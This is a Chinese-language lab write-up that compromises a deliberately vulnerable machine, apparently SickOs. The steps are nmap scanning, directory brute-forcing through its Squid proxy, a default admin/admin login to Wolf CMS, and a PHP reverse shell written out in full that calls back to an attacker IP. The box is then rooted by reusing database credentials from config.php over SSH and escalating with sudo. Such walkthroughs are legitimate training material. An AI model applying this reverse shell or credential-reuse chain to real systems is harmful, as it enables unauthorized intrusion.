1.信息收集
1.1 主机发现
nmap -sn 192.168.197.0/24,目标IP地址为192.168.197.157
1.2 端口扫描
nmap --min-rate 10000 -p- 192.168.197.157,可以看到开放了两个端口22,3128
TCP扫描
nmap -sT -sV -sC -O -p22,3128 192.168.197.157
UDP扫描
nmap -sU --top-ports 20 192.168.197.157
nmap漏洞脚本扫描
nmap --script=vuln -p22,3128,8080 192.168.197.157
3. 攻击面分析
22 端口很少成为我们直接攻击的点,往往是拿到凭据再进行登录,很少情况直接对 22 端口进行暴力破解
3128 端口显示是一个 Squid 代理服务应用
8080 端口是关闭的,扫描结果显示它也是一个代理
访问 3128 端口,页面出现报错信息,看到它是运行了 squid 代理服务
Squid是一个支持HTTP,HTTPS,FTP等服务的Web缓存代理软件,它可以通过缓存页面来提高服务器的相应速度并降低带宽占用。并且,Squid还具有强大的访问控制功能。Squid可以运行在各种操作系统平台上。
Squid会将访问页面的结果缓存在硬盘和内存上。所以Squid对硬盘和内存的空间大小具有较高的要求。内存和硬盘越大,缓存的命中率就越高。但是真实服务器数据是实时更新的,因此,我们就需要不定期的清空缓存数据以保证用户访问结果的准确性。
Squid 将数据元缓存在内存和硬盘中,同时也缓存 DNS 查询的结果。Squid 支持 SSL,支持访问控制。由于使用了 ICP(轻量 Internet 缓存协议),Squid 能够实现层叠的代理阵列,从而最大限度的节约带宽。
Squid Cache(简称 Squid)是一个流行的代理服务器和 Web 缓存服务器软件。Squid 可以做正向代理,也可以做反向代理。
3128 端口页面及源码未发现有效信息,因此进行目录爆破,进一步寻找立足点
dirb http://192.168.197.157
gobuster dir -u http://192.168.197.157 --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
dirb和gobuster都没有扫出有效目录,可能是因为代理或WAF阻断了我们的扫描
以 192.168.197.157:3128 做为代理再次尝试目录爆破,发现是可以扫描的,并且爆出了几个高价值目录
浏览器设置代理为 192.168.197.157:3128,以此访问到它的 WEB 页面
访问 robots 文件暴露出 wolfcms 信息
渗透测试过程中,看到一个 CMS,首先想到的就是管理路径在哪,能否登录进去
通过公开信息搜索得知 wolfcms 的登录页面为 /wolfcms/?admin
针对登录密码可以采取暴力破解,默认账户密码;在这之前所有渗透测试人员还应该具备的一个素质就是对弱密码的尝试,如 admin/admin、admin/password、admin/admin123、admin/admin888 admin/123456 等
这里通过公开信息查找 wolfcms 默认用户名为 admin,尝试弱口令 admin/admin 进入管理后台
wolfcms 后台暴露出的攻击面:
1. 多处可以执行 php 代码
2. 存在文件上传点
3. 可以修改文件权限
这里在Articles执行一段PHP反弹shell脚本,同时kali开启监听
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.197.132/7777 0>&1'"); ?>
反弹回来的是一个 www-data 的 shell
4. 提权
查看配置文件 config.php,得到数据库的用户名和密码为 root/john@123
www-data@SickOs:/var/www/wolfcms$ cat config.php
cat config.php
<?php
// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo
// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', 'john@123');
define('TABLE_PREFIX', '');
// Should Wolf produce PHP error messages for debugging?
define('DEBUG', false);
// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);
// Should Wolf check for updates on Wolf itself and the installed plugins?
define('CHECK_UPDATES', true);
// The number of seconds before the check for a new Wolf version times out in case of problems.
define('CHECK_TIMEOUT', 3);
// The full URL of your Wolf CMS install
define('URL_PUBLIC', '/wolfcms/');
cat /etc/passwd 查看系统存在哪些用户
尝试使用 config.php 里的凭据 ssh 这些用户,经过反复尝试 sickos/john@123 成功登录,并且 sudo -l 显示拥有全部权限,相当于 root 用户
sudo 开启一个 bash 得到 root 权限,这台机器渗透测试完成!
5. 总结
主机发现之后,分别用nmap的TCP和UDP扫描发现三个端口,8080存疑,未开放端口,3128是一个squid代理服务器,22 SSH端口
8080无法访问;3128提示报错信息,目录爆破也没有任何信息,由于它是代理服务器,因此以3128端口做代理进行目录扫描,得到了新的有价值web目录
通过在浏览器上把3128设置为代理服务器,访问到了靶机的web页面,看到了wolfcms内容管理系统,通过搜索公开信息得知了它的管理页面路径,并且弱口令进入了管理后台
利用Articals页面可以执行php代码的特性,我们写入了php反弹shell脚本,kali接收到了www-data的shell
在config.php文件中找到一个登录凭据,结合/etc/passwd的用户信息,利用凭据不断尝试,发现可以ssh登录sickos账户,sudo -l显示此用户具有全部权限,sudo启用一个新的bash就获得了root权限。